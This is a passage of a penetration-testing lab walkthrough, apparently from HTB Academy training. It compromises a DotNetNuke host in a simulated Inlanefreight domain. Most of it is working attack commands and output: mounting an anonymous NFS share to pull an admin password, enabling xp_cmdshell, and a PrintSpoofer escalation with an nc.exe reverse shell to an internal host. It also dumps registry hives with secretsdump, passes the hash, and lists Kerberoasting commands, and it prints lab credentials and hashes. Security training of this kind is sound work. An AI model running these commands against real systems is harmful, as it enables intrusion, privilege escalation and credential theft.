
Step 9 — Enumerating 172.16.8.20: DotNetNuke (DNN) ris:Global

[!info]+ Operator Context — Correlate the Web App With Exposed Storage ris:GlobalLine

  1. Starting state: internal scanning identifies a web application on 172.16.8.20 and NFS/RPC-related exposure may reveal its deployment files.
  2. Execution: browse the application through the pivot, fingerprint DNN/version/features, enumerate exports, and inspect readable files offline.
  3. Mechanism: the application and share are separate services but may expose the same deployment content; configuration files can bridge anonymous storage access into authenticated application access.
  4. Read the result: a DNN administrator credential in a share has high provenance value; verify which environment/account it belongs to before using it.
  5. Handoff: authenticate to DNN minimally and identify administrative functionality capable of querying the backend rather than immediately uploading arbitrary tooling.
  6. Finding chain: report exposed NFS/configuration secrets separately from the impact of using those secrets in the application.
proxychains curl http://172.16.8.20

[!info]+ DNN Reachability Check — Run on the Attacker Through SOCKS ris:GlobalLine

  1. Run this on the attacker after the SSH SOCKS tunnel and proxychains.conf are active.
  2. Proxychains redirects curl’s TCP connection through dmz01 to internal host 172.16.8.20:80.
  3. HTML returned in the terminal proves end-to-end HTTP reachability, but a browser is easier for application interaction.
  4. Configure the browser to the same SOCKS listener or use a proxy-aware browser profile; do not assume system-wide routing changed.
  5. If curl fails, first test proxychains nc -nv 172.16.8.20 80 to isolate transport from HTTP behaviour.

Browsing through the SOCKS proxy configured in Firefox (Step 4) confirms a live DotNetNuke CMS install:

dnn-homepage-172-16-8-20.png (SHA-256 · GPG signature)

[!info]+ Command Breakdown ris:Global

  1. DotNetNuke (DNN): a .NET CMS with a long history of critical vulnerabilities and rich built-in admin functionality — think “the WordPress of .NET”
  2. Registering a new account triggers an admin-approval email workflow rather than instant access — a realistic dead end, but worth attempting on every engagement since misconfigured instances do sometimes auto-approve
  3. http://172.16.8.20/Login?returnurl=%2fadmin is the direct admin login path, noted for later once credentials are found
proxychains showmount -e 172.16.8.20

Export list for 172.16.8.20:
/DEV01 (everyone)

[!success]+ Finding — Anonymous NFS Export ris:Key ris:Key

  1. showmount -e: lists NFS exports without any credentials
  2. /DEV01 (everyone) means any host can mount this share with no authentication whatsoever
  3. Proxychains cannot relay the NFS mount protocol itself, but root SSH access on dmz01 (Step 3) lets us mount it directly from the pivot host instead
root@dmz01:/tmp# mkdir DEV01
root@dmz01:/tmp# mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
root@dmz01:/tmp# cd DEV01/DNN && cat web.config

<username>Administrator</username>
<password>
    <value>D0tn31Nuk3R0ck$$@123</value>
</password>

[!success]+ Finding — DNN Administrator Credentials in a File Share ris:Key ris:Key

  1. Severity: High. Two findings here: Insecure File Shares (anonymous NFS write/read access) and Sensitive Data on File Shares (cleartext admin credentials sitting in a web.config)
  2. Report them separately even though they’re discovered together — if the client later restricts anonymous access but leaves the share readable to all Domain Users, the sensitive-data risk persists independently
  3. Credential recovered: Administrator:D0tn31Nuk3R0ck$$@123 for the DNN CMS
  4. This is textbook pillaging: config files are consistently one of the highest-value targets on any file share — see the Credentialed Enumeration content across the Penetration Tester Path

[!example]+ PayloadsAllTheThings — NFS Exposure Reference ris:Command PayloadsAllTheThings — Linux Privilege Escalation includes NFS and no_root_squash abuse. This target’s immediate problem is anonymous disclosure rather than root squashing, but the same export must be checked for both access control and UID-mapping weaknesses.

showmount -e 172.16.8.20
mkdir -p /mnt/dev01
mount -t nfs -o ro,nolock 172.16.8.20:/DEV01 /mnt/dev01
find /mnt/dev01 -type f \( -iname '*.config' -o -iname '*.xml' -o -iname '*.ps1' -o -iname '*.kdbx' \) -print
nmap -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs 172.16.8.20
  1. Read-only mount: reduces accidental modification while validating disclosure
  2. Targeted file search: prioritises common credential-bearing configuration and automation files
  3. NSE checks: capture export and filesystem evidence without depending on an interactive mount
  4. If no_root_squash is present, test it only within scope because it can convert a writable export into host-level privilege escalation.

[!tip]+ Always Try a Packet Capture When You Have Root fas:Lightbulb

root@dmz01:/tmp# tcpdump -i ens192 -s 65535 -w ilfreight_pcap
  1. With root SSH access on a dual-homed host, running tcpdump costs nothing and occasionally captures cleartext credentials traversing the internal segment
  2. This capture came back empty (no interesting traffic on this VLAN at this moment), but it is standard practice on an Internal Penetration Test to run this periodically
  3. Open the resulting .pcap in Wireshark back on the attack host — see Intro to Network Traffic Analysis for a deeper dive

Step 10 — Attacking DNN: SQL Console RCE fas:Terminal

[!info]+ Operator Context — Database Administration to OS Execution fas:Terminal

  1. Starting state: DNN administrator access exposes a SQL console connected to Microsoft SQL Server under a database principal.
  2. Execution: first query database identity/version/role, then determine whether xp_cmdshell exists and whether the principal may enable/use it under the assessment rules.
  3. Mechanism: xp_cmdshell asks the SQL Server service to create an OS process. The resulting Windows identity is the SQL service account or configured proxy, not the web user.
  4. Read the result: returned whoami output proves OS execution; a successful SQL statement alone proves only database control.
  5. State change: enabling advanced options or xp_cmdshell alters server configuration. Capture original values and restore them after proof.
  6. Handoff: enumerate the new Windows token/privileges and network context to determine whether local escalation is available.

Logging in at /Login?returnurl=%2fadmin with Administrator:D0tn31Nuk3R0ck$$@123 succeeds as the SuperUser account:

dnn-superuser-users-panel.png (SHA-256 · GPG signature)

EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

[!info]+ Command Breakdown fas:Terminal

  1. DNN exposes a raw SQL console under Settings. xp_cmdshell is disabled by default in SQL Server and must be explicitly re-enabled through sp_configure
  2. No output on success is normal for these statements — absence of an error is the confirmation
  3. Once enabled, arbitrary OS commands run in the format xp_cmdshell '<command>'
xp_cmdshell 'whoami'

[!info]+ SQL Console Test — Execute One Harmless OS Command fas:Terminal

  1. Paste this SQL statement into DNN’s administrative SQL console after xp_cmdshell is enabled.
  2. Do not run it in Bash or a Windows command prompt; SQL Server interprets it.
  3. xp_cmdshell asks the SQL Server service to create an OS process containing whoami.
  4. The returned account name proves SQL-to-OS execution and identifies the service context for privilege enumeration.
  5. Record/restore the original xp_cmdshell configuration after the minimum proof.

dnn-sql-console-xp-cmdshell-whoami.png (SHA-256 · GPG signature)

[!info]+ Command Breakdown ris:Key

  1. Output: nt service\mssql$sqlexpress — code execution confirmed as the SQL Express service account
  2. This is a lower-privileged service context, so the next step is still privilege escalation, but RCE is already achieved and reportable as Command Injection / Insecure Deserialization-class High finding
  3. A second, independent RCE path is also available: modifying DNN’s Allowable File Extensions (Settings → Security → More → More Security Settings) to permit .asp/.aspx uploads, then dropping a web shell via the File Management page — useful as a backup if the SQL console path is ever patched

[!example]+ PayloadsAllTheThings — MSSQL xp_cmdshell Reference ris:Command PayloadsAllTheThings — MSSQL Server Cheat Sheet and its maintained xp_cmdshell section cover the same SQL-to-OS execution path used by DNN’s administrative console.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC master..xp_cmdshell 'whoami /all';
EXEC master..xp_cmdshell 'hostname && ipconfig';
  1. Advanced options: must be enabled before SQL Server exposes the xp_cmdshell setting
  2. Execution context: defaults to the SQL Server service account for sysadmin callers, so whoami /all determines the next privilege-escalation path
  3. Evidence: record the original disabled/enabled state so it can be restored after validation
  4. Disable xp_cmdshell again at closeout if the engagement changed it; an administrative SQL console capable of enabling it remains the underlying risk.

Step 11 — Privilege Escalation via SeImpersonate ris:Radar

[!info]+ Operator Context — Token Impersonation to SYSTEM fas:RocketLaunch

  1. Starting state: OS commands run as a service identity whose token includes SeImpersonatePrivilege.
  2. Execution: verify the privilege is present/enabled, transfer the chosen lab binary, start the correct listener if a callback is used, then launch a harmless SYSTEM proof.
  3. Mechanism: the technique coerces or accepts authentication from a privileged service, impersonates the resulting token, and creates a process under that security context.
  4. Read the result: only whoami/whoami /all showing NT AUTHORITY\\SYSTEM confirms elevation. A connection under the original SQL account is not success.
  5. Compatibility: exploit choice depends on Windows build, services, privileges, architecture, and endpoint controls; a missing privilege cannot be repaired with different flags.
  6. Handoff: record the token condition as the root cause, remove tooling, then collect only authorised local secrets.

Uploading and running a webshell (or continuing via xp_cmdshell) confirms SeImpersonatePrivilege is enabled for the current context:

aspx-webshell-whoami-priv-seimpersonate.png (SHA-256 · GPG signature)

[!success]+ Finding — SeImpersonate Enabled ris:Key ris:Key

  1. SeImpersonatePrivilege: Enabled on a service account is the signature of a JuicyPotato/PrintSpoofer/RoguePotato-class local privilege escalation
  2. See the SeImpersonate and SeAssignPrimaryToken section of Windows Privilege Escalation for the full technique background
  3. Upload both nc.exe and PrintSpoofer64.exe via the DNN file manager (after re-permitting .exe uploads) to c:\DotNetNuke\Portals\0

[!info]+ Full Token Context — whoami /all from the ASPX Webshell ris:Radar The webshell executes inside w3wp.exe as the IIS application pool identity — a different security context from the nt service\mssql$sqlexpress account seen via xp_cmdshell in Step 10. Two RCE paths, two service identities, both carrying impersonation rights:

User Name                     SID
============================= ==============================================================
iis apppool\dotnetnukeapppool S-1-5-82-2509074736-2823226210-3382280688-2640573866-389213758

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
  1. S-1-5-82-*: a virtual app-pool identity — no password, and group membership is only BUILTIN\Users, BUILTIN\IIS_IUSRS, and NT AUTHORITY\SERVICE. Nothing here is administrative, so local privilege escalation is mandatory before any secret collection
  2. Network identity ≠ local identity: when this context touches remote resources it authenticates as the machine account ACADEMY-AEN-DEV$ — a legitimate domain computer. That is why unauthenticated-looking domain queries (net group /domain, net accounts /domain, setspn) all succeed when issued through the webshell with no user credential supplied
  3. Disabled state does not matter: a process can enable any privilege present in its token at runtime. Presence in the list is the finding — and SeImpersonatePrivilege is not only present but already Enabled
  4. SeAssignPrimaryTokenPrivilege is also held: together with SeImpersonate this satisfies the prerequisite for the entire Potato family (PrintSpoofer, GodPotato, RoguePotato, JuicyPotato), not just one variant
  5. Cross-check with tasklist: spoolsv.exe (Print Spooler) is running on the host, so PrintSpoofer’s named-pipe coercion will work. Had the spooler been disabled, GodPotato/RoguePotato would be the fallback chain
  6. Interpretation: every default IIS/MSSQL service context carries SeImpersonatePrivilege — treat any webshell or xp_cmdshell foothold on Windows as “one Potato away from SYSTEM” until whoami /priv proves otherwise
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"

[!info]+ PrintSpoofer Command — Run on the Windows DNN Host fas:RocketLaunch

  1. Start the Netcat listener in the next block on dmz01 before running this through the web shell or xp_cmdshell on 172.16.8.20.
  2. Both executable paths must exist on the Windows host; 172.16.8.120 is dmz01’s internal address and port 443 must match its listener.
  3. -c tells PrintSpoofer which child command to start after obtaining an impersonated SYSTEM token.
  4. nc.exe ... -e cmd connects back and attaches cmd.exe to the socket.
  5. Tool exit text is insufficient—verify the identity inside the received shell.
root@dmz01:/tmp# nc -lnvp 443

Connection received on 172.16.8.20 58480
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
ACADEMY-AEN-DEV01

[!info]+ Command Breakdown ris:Key

  1. PrintSpoofer64.exe -c: coerces the Print Spooler service to authenticate to a named pipe we control, then impersonates the resulting SYSTEM token to launch the given command
  2. Catching the callback on dmz01 (not the attack host directly) avoids needing another pivot hop, since dmz01 already has a route to 172.16.8.0/23
  3. Interpretation: full NT AUTHORITY\SYSTEM on ACADEMY-AEN-DEV01 — this is our first proper foothold inside the AD domain itself

[!example]+ PayloadsAllTheThings — SeImpersonate / PrintSpoofer Reference ris:Command PayloadsAllTheThings — Windows Privilege Escalation links its impersonation-privilege family: PrintSpoofer, JuicyPotato, RoguePotato, and EfsPotato. Tool choice depends on the Windows build, available services, and outbound reachability.

whoami /priv
PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -c "C:\Path\nc.exe 172.16.8.120 443 -e cmd"
whoami
  1. Prerequisite: the current token must hold SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
  2. -i -c cmd: starts an interactive SYSTEM shell when the current channel can support it
  3. Callback form: is more reliable through web or SQL command execution where an interactive child console is invisible
  4. Validate the returned identity explicitly; successful tool output alone is not proof of a SYSTEM security context.

Step 12 — Dumping Local Secrets ris:Key

[!info]+ Operator Context — Offline Windows Secret Extraction ris:Key

  1. Starting state: SYSTEM permits access to protected registry hives containing local account material and the boot-key inputs required to decrypt it.
  2. Target side: save exact SAM/SYSTEM/SECURITY hive copies to a temporary tracked location; do not modify live registry data.
  3. Attacker side: transfer the copies securely and parse them offline with Impacket so sensitive output is not repeatedly generated on the target.
  4. Mechanism: SYSTEM supplies boot-key material, SAM stores local password hashes, and SECURITY may contain cached/domain/service secrets. They have different formats and reuse value.
  5. Read the result: label every item as local, domain, machine, cached, or LSA secret. A local hash may authenticate only to hosts reusing the same local password.
  6. Handoff: validate one high-confidence domain pair, update provenance, encrypt raw evidence, and remove hive copies from the target.
c:\DotNetNuke\Portals\0> reg save HKLM\SYSTEM SYSTEM.SAVE
c:\DotNetNuke\Portals\0> reg save HKLM\SECURITY SECURITY.SAVE
c:\DotNetNuke\Portals\0> reg save HKLM\SAM SAM.SAVE

[!info]+ Hive Export — Run All Three Commands in the SYSTEM Shell ris:Key

  1. These run on the compromised Windows host, not the attacker. Do not copy the displayed prompt prefix.
  2. Save SYSTEM, SECURITY, and SAM because secretsdump needs their related key material together.
  3. The commands create snapshot files in the current directory; they do not delete or modify the live hives.
  4. Confirm each reports success and record exact paths before downloading through DNN.
  5. These files contain sensitive credential material. Delete them from the target after verified transfer and protect them locally.

Download all three .SAVE files via the DNN file manager (after permitting the .SAVE extension):

dnn-filemanager-sam-security-system-save.png (SHA-256 · GPG signature)

secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<redacted>:::
mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:3bb874a52ce7b0d64ee2a82bbf3fe1cc:::
[*] Dumping cached domain logon information (domain/username:hash)
INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#f7d7bba128ca183106b8a3b3de5924bc
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):Gr8hambino!

[!info]+ Command Breakdown ris:Key

  1. secretsdump.py LOCAL: parses offline registry hive dumps rather than connecting live over the network — the correct mode when working from exfiltrated SAM/SYSTEM/SECURITY files
  2. Local SAM hashes: local Administrator and mpalledorous NTLM hashes, useful for pass-the-hash against this specific host
  3. Cached domain logon for hporter: a $DCC2$ hash, crackable offline but not directly usable for pass-the-hash
  4. LSA DefaultPassword: Gr8hambino! in cleartext with no username attached — this is an autologon credential

[!tip]+ Current Equivalent — current Impacket entry point fas:Lightbulb This is the same maintained Impacket tool through its current packaged console-script name; older source checkouts exposed the .py filename directly.

impacket-secretsdump LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE

[!example]+ PayloadsAllTheThings — Offline SAM, SYSTEM, and LSA Reference ris:Command PayloadsAllTheThings — Windows Privilege Escalation links its SAM and SYSTEM files, registry password-search, and autologon sections. Saving all three hives preserves both local hashes and LSA secrets for offline parsing.

reg save HKLM\SAM C:\Windows\Temp\SAM.save /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save /y
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save /y
impacket-secretsdump LOCAL -sam SAM.save -system SYSTEM.save -security SECURITY.save
  1. SAM + SYSTEM: the boot key in SYSTEM decrypts local NTLM material stored in SAM
  2. SECURITY: adds cached domain logons, LSA secrets, service credentials, and autologon material
  3. Offline parsing: avoids repeatedly touching LSASS and preserves a reproducible evidence set
  4. Hive copies and parsed output contain sensitive client credentials; store, transfer, and destroy them under the engagement data-handling rules.
proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H <redacted>

SMB   172.16.8.20   445   ACADEMY-AEN-DEV   [+] ACADEMY-AEN-DEV\administrator <redacted> (Pwn3d!)

[!info]+ Pass-the-Hash Validation — Run on the Attacker ris:LockPassword

  1. Replace <redacted> with the authorised local Administrator NT hash parsed from SAM and run through the active pivot.
  2. --local-auth is essential: it tells the tool to authenticate against the host’s local account database, not the AD domain.
  3. [+] proves authentication; (Pwn3d!) indicates the account has administrative SMB privileges according to the tool.
  4. This validates the local hash. It does not validate the cached hporter domain hash shown elsewhere.
  5. Modern installations use nxc smb ...; preserve the exact tool/version in evidence.
c:\DotNetNuke\Portals\0> net user hporter /dom

User name          hporter
Global Group memberships   *Domain Users

[!success]+ Finding — First Domain Credential Pair ris:Key ris:Key

  1. Confirmed the local Administrator hash works via CrackMapExec pass-the-hash (Pwn3d!) — a durable local-admin fallback on DEV01
  2. Cross-referencing net user hporter /dom confirms hporter is a real domain account, so the LSA DefaultPassword secret found above belongs to it
  3. First domain credential pair: hporter:Gr8hambino! — this is the pivot point for 7 - Lateral Movement

[!tip]+ Current Equivalent — NetExec (nxc) fas:Lightbulb Use the maintained command below for the same step; the Academy command and output remain above for comparison.

proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <redacted>

[!tip]+ CrackMapExec Is Unmaintained — Move to NetExec fas:Lightbulb This walkthrough uses crackmapexec, but the project has been unmaintained since 2023. NetExec (nxc) is the actively maintained community fork with the same syntax and additional protocol support:

proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <hash>

The --local-auth, -H, and module flags carry over directly, making the switch nearly frictionless.

Step 13 — Internal and Domain Enumeration from the Webshell ris:Radar

[!info]+ Operator Context — Read-Only Enumeration Through the ASPX Webshell ris:Radar

  1. Starting state: code execution on ACADEMY-AEN-DEV01 (172.16.8.20) as iis apppool\dotnetnukeapppool (Step 11), with SYSTEM obtainable on demand via PrintSpoofer.
  2. Execution: read-only commands only — ipconfig /all, tasklist /svc, arp -a, route print, net user, net localgroup administrators, net accounts /domain, net group /domain, setspn. None of these modify host or domain state.
  3. Mechanism: domain-scoped queries issued from the webshell authenticate as the machine account ACADEMY-AEN-DEV$ (Step 11 token analysis), so AD answers them without any recovered user credential.
  4. Read the result: the output of this step is a target list, not an exploit — password policy (spray feasibility), group structure (admin model), SPNs (Kerberoast candidates), and hostnames (infrastructure map).
  5. Handoff: everything here feeds 7 - Lateral Movement; the Kerberoast target list is the immediate priority now that hporter:Gr8hambino! is validated.
hostname && ipconfig /all && route print && arp -a

[!info]+ System and Network Context ris:Global

  1. Hostname/IP: ACADEMY-AEN-DEV01, 172.16.8.20/23, gateway 172.16.8.1, DNS 172.16.8.3 (the DC), DNS suffix INLANEFREIGHT.LOCAL — domain membership confirmed from the host side
  2. vmxnet3 adapter + vmtoolsd.exe/VGAuthService.exe in the process list: the host is a VMware VM — useful context for snapshot/revert risk discussions, no direct attack value
  3. route print shows only the connected /23 and a default gateway: unlike dmz01, DEV01 is not dual-homed — no new subnets are reachable from here directly. The default gateway may route further, but there is no second NIC to pivot through
  4. ARP table: neighbors are exactly the hosts already known — 172.16.8.3 (DC01), 172.16.8.50 (MS01), 172.16.8.120 (dmz01). No surprise hosts on the segment
  5. Interpretation: DEV01 is a leaf node. Further movement depends on credentials and services, not on network position
net user
net localgroup administrators

[!info]+ Local Accounts and Administrators ris:LockPassword

  1. Local users: Administrator, Guest, DefaultAccount, WDAGUtilityAccount, and mpalledorous — matching the SAM dump from Step 12 exactly (RID 1001)
  2. Local admins: only local Administrator and INLANEFREIGHT\Domain Admins — no domain user groups nested into local admin, so a regular domain user will not get admin here
  3. mpalledorous is not a local admin on this host, but his NT hash is still worth pass-the-hash checks against other hosts — local account password reuse across servers is one of the most common real-world findings
  4. WDAGUtilityAccount is the managed account for Windows Defender Application Guard — noise, not an attack path
tasklist /svc

[!info]+ Process List Highlights fas:Terminal

ProcessWhy it matters
spoolsv.exe (Spooler)Print Spooler is running — confirms PrintSpoofer viability for Step 11
svchost.exe (WinRM)WinRM service is running even though 5985 did not appear in the earlier port scan — re-check reachability from dmz01; a listening WinRM is a clean lateral-movement landing spot once admin creds exist
svchost.exe (ftpsvc)Microsoft FTP service is installed/running though :21 was closed externally — worth checking local bindings; FTP roots frequently hold readable deployment files
sqlservr.exe / sqlbrowser.exe (MSSQL$SQLEXPRESS)Confirms the SQL Server stack behind DNN and the Step 10 xp_cmdshell context
explorer.exe + LogonUI.exe + taskhostw.exeAn interactive console session exists — consistent with the hporter autologon DefaultPassword recovered from LSA in Step 12. With SYSTEM, LSASS on this host very likely holds live domain credentials
(absent) MsMpEng.exe / EDR processesNo obvious AV/EDR process in the list — still verify before running noisy tooling; absence in tasklist is a signal, not proof
net accounts /domain

[!success]+ Finding — Weak Domain Password Policy ris:Key ris:Key

  1. Minimum password length: 1 and password history: none — trivially weak passwords are permitted by policy
  2. Lockout threshold: Never — the domain will not lock accounts regardless of failed attempts, so password spraying carries no lockout risk in this lab. On a real engagement you would still throttle and spread attempts, but the finding stands on its own
  3. Maximum password age 42 days — credentials rotate, so recovered passwords have a shelf life
  4. Severity: Medium — Weak Password Policy / No Account Lockout. Report as a standalone finding; it materially enables the spraying attacks used later
net group /domain

[!info]+ Domain Group Structure — Reading the Admin Model ris:FileList

  1. Tiered administration model: Tier 1 Admins through Tier 4 Admins (plus Tier Admin Users Management) — expect admin privilege to be scoped by tier; landing a Tier-x account tells you exactly which systems it should control
  2. High-value groups to track: Secadmins, IT Admins, Server Admins, SQL Admins, Website Admin, GPO Management, Exchange Administrator, Service Accounts
  3. Protected Users exists: members of this group cannot authenticate with NTLM and cannot be delegated — check membership before counting on pass-the-hash or delegation attacks against any specific account later
  4. File-share permission groups (File Share F/G/H Drive, File Share Admin, Fileshare Management) map directly to share-level attack paths worth enumerating once a domain credential is in hand
  5. Interpretation: the group list is a map of where privilege lives. Cross-reference every future credential against this list with net user <name> /dom the moment it is recovered
setspn -T INLANEFREIGHT -Q */*

[!success]+ Finding — Kerberoastable Service Accounts and an Infrastructure Map ris:Key ris:Key Every user account below carries an SPN and is therefore Kerberoastable — any valid domain credential (e.g. hporter) can request a crackable RC4/AES service ticket for each of them. Machine-account SPNs (DEV01, MS01) are excluded — machine passwords are long random values and not practically crackable.

AccountSPNAssessment
mssqlsvcMSSQLSvc/DB01.inlanefreight.local:1433SQL service account — classic roast target
svc_sqlMSSQLSvc/SQL01.inlanefreight.local:1433SQL service account
sqlprodMSSQLSvc/SQL02.inlanefreight.local:1433SQL service account
sqldevMSSQLSvc/SQL-DEV01.inlanefreight.local:1433SQL service account
sqltestMSSQLSvc/DEVTEST.inlanefreight.local:1433SQL service account
sqlqaMSSQLSvc/QA001.inlanefreight.local:1433SQL service account
mssqladmMSSQLSvc/SQL-WEB01.inlanefreight.local:1433Name implies SQL admin — priority target
azureconnectadfsconnect/azure01.inlanefreight.localAzure AD Connect sync account — top priority. Sync accounts routinely hold directory replication rights (DCSync-equivalent)
backupjobbackupjob/veam001.inlanefreight.localVeeam backup service — backup infrastructure is a credential goldmine and often domain-admin adjacent
vmwarescvcvmware/vc.inlanefreight.localvCenter service account — virtualization control plane
sapsso / sapvcSAP/APP01, SAPsvc/SAP01SAP estate present in the environment
  1. Infrastructure discovery bonus: the SPN list reveals hostnames that host discovery never showed — DB01, SQL01, SQL02, SQL-DEV01, DEVTEST, QA001, SQL-WEB01, azure01, veam001, vc, APP01, SAP01. Resolve them from DEV01 (nslookup <name> 172.16.8.3) to extend the target list beyond the four hosts found by the ping sweep
  2. Attack path: roast with the recovered domain credential, crack offline (hashcat -m 13100 for RC4 tickets), then pivot into the MSSQL estate — SQL service accounts are frequently local admins on their own hosts and members of SQL Admins
  3. The tail of the output (Existing SPN found! + an LDAP connect error) is setspn failing a second query against an unresolved $DOMAIN variable — operator error in the lab shell, not a target-side protection

[!example]+ PayloadsAllTheThings — Kerberoasting Reference ris:Command PayloadsAllTheThings — Kerberoast covers requesting and cracking service tickets. Either side of the pivot works: Impacket from the attacker through SOCKS using hporter, or Rubeus uploaded to DEV01.

proxychains GetUserSPNs.py 'INLANEFREIGHT.LOCAL/hporter:Gr8hambino!' -dc-ip 172.16.8.3 -request
hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt
Rubeus.exe kerberoast /outfile:spns.txt
  1. -request: actually requests the tickets rather than only listing SPN accounts
  2. Mode 13100: Kerberos 5 TGS-REP etype 23 (RC4) — the common crackable format
  3. Rubeus on-host: avoids proxy latency but drops a well-signatured binary on the target — weigh against the no-AV observation above and upload to a tracked path
  4. Request tickets for all SPN accounts at once; prioritize cracking attempts on mssqladm, azureconnect, and backupjob.

[!warning]+ Artefact and Cleanup Log — DEV01 fas:TriangleExclamation fas:TriangleExclamation The C:\DotNetNuke\Portals\0 directory listing shows two webshells sitting in the webroot — cmdasp.aspx and nt-webshell-rosepine.aspx — alongside PrintSpoofer64.exe, nc.exe, and the three .SAVE registry hives from Step 12. Every one of these is a logged artefact: remove them at engagement close and verify the DNN Allowable File Extensions setting is restored to its original value.

[!tip]+ Why Domain Queries Work From a Webshell fas:Lightbulb fas:Lightbulb An IIS app-pool identity is a local virtual account, but its network credential is the domain computer account. net group /domain, net accounts /domain, and setspn all succeeded from the webshell without any recovered password because AD treats ACADEMY-AEN-DEV$ as an authenticated domain member. Lesson: a webshell on a domain-joined host is already a domain foothold for read-only enumeration.



Lessons Learned fas:Lightbulb

  1. Always run sudo -l and check GTFOBins before reaching for a kernel exploit. The openssl file-read primitive here was faster and safer than any binary exploitation route
  2. Grab durable credentials whenever privileged access is available. A root SSH key outlives password rotations and account lockouts — it is the single best form of Linux persistence
  3. Uploaded static binaries (Nmap, payloads) are forensic artefacts. Track every file placed on a client system from the very first upload, not retroactively at report time
  4. Config files are a top-tier pillaging target. The DNN web.config handed over full CMS admin access with zero exploitation required — always check file shares before spending hours on exploit development
  5. SeImpersonatePrivilege on a service account is close to an automatic win. PrintSpoofer/JuicyPotato-class tooling turns it into SYSTEM in seconds — always check whoami /priv immediately after any RCE
  6. A webshell on a domain-joined host is already a domain foothold for enumeration. The app-pool identity queries AD as the machine account — net group /domain, net accounts /domain, and setspn all returned data with no user credential at all
  7. SPN enumeration is free recon that doubles as a network map. Beyond the Kerberoast target list, the SPN output revealed a dozen infrastructure hostnames (SQL, Veeam, vCenter, ADFS, SAP) that ping sweeps and port scans alone never exposed

References fas:BookOpen

  1. HTB Academy — Attacking Enterprise Networks (Module 163)
  2. HTB Academy — Pivoting, Tunneling, and Port Forwarding
  3. HTB Academy — Windows Privilege Escalation
  4. HTB Academy — Using the Metasploit Framework
  5. GTFOBins — openssl
  6. PrintSpoofer — GitHub
  7. Impacket — GitHub
  8. NetExec — GitHub
  9. DotNetNuke / DNN Platform
  10. MITRE ATT&CK — T1078 Valid Accounts
  11. MITRE ATT&CK — T1059 Command and Scripting Interpreter
  12. PayloadsAllTheThings — Linux Privilege Escalation
  13. PayloadsAllTheThings — Linux Persistence
  14. PayloadsAllTheThings — Network Pivoting Techniques
  15. PayloadsAllTheThings — Network Discovery
  16. PayloadsAllTheThings — Active Directory Attack
  17. PayloadsAllTheThings — MSSQL Server Cheat Sheet
  18. PayloadsAllTheThings — Windows Privilege Escalation
  19. InternalAllTheThings — Nmap Network Discovery
  20. InternalAllTheThings — Active Directory Enumeration
  21. InternalAllTheThings — MSSQL xp_cmdshell

#HTB #Academy #AttackingEnterpriseNetworks #CPTS #Inlanefreight #ActiveDirectory #Pivoting #Persistence #DotNetNuke #PrintSpoofer #GTFOBins